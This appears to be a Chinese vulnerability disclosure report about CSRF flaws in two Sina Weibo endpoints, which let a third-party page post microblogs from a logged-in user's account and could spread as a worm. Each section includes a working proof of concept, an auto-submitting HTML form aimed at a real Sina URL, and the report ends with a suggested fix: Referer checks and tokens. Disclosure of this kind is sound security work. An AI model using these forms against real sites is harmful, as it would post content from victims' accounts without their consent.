新浪微博某处CSRF漏洞，可能导致蠕虫蔓延，在未经用户同意的情况下发布微博
详细说明：在接受POST和GET的信息的时候，未对POST来路(Referer)进行验证，同时也没有在POST的信息中加token验证信息的正确性，导致漏洞产生。
漏洞证明：漏洞地址：
http://all.vic.sina.com.cn/tsingtaoeuro/api/send.php
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://all.vic.sina.com.cn/tsingtaoeuro/api/send.php" method="post">
<input type="text" name="content" value="XX" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息
效果
新浪微博某处CSRF漏洞，可能导致蠕虫蔓延，在未经用户同意的情况下发布微博
详细说明：在接受POST和GET的信息的时候，未对POST来路(Referer)进行验证，同时也没有在POST的信息中加token验证信息的正确性，导致漏洞产生。
漏洞证明：漏洞地址：
http://vote.weibo.com/wbclient/ref
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://vote.weibo.com/wbclient/ref" method="post">
<input type="text" name="poll_id" value="1742981" />
<input type="text" name="content" value="XXXXXXXXXXX" />
<input type="text" name="is_first" value="0" />
<input type="text" name="_t" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息
效果
修复方案：检查POST来路Referer
在POST的信息中加token
作者： imlonghao
